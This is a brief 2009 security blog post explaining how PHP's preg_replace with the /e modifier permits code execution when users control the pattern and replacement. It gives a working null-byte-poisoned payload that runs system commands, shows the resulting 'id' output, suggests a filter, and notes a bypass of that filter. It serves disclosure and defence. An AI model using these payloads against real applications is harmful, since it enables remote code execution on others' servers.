2009-02-23 23:11:08
By Tim Brown
Calling preg_replace($pattern, $replacement, $subject) et al, where $pattern and $replacement are under user control should be considered dangerous. Witness the following:
<?php preg_replace("/" . $pattern . "/", $replacement, $subject); ?>
Our attacker passes a $pattern of "(.*)/e\x00", a $replacement of "system('\1')" and a $subject of "id". The following results:
$ php test.php uid=1000(user) gid=1000(user) groups=20(dialout),24(cdrom),25(floppy),29 (audio),44(video),46(plugdev),1000(user)
Note two things... you need to NULL byte poison the $pattern, so that the "/" inserted by the code is ignored and also, you don't necessarily need control of subject. Any arbitrary PHP in the $replacement will be executed. To fix this you need to filter $pattern first (not using preg_replace :)) and change "/e" to something else. For example:
$pattern = str_replace("/e", "\/e", $pattern);
Update: Gareth Heyes pointed out this can be passed with: $pattern = "(.*)/ e\0";
Mood: Amused
Music: Nothing playing right now..
You are unknown, comment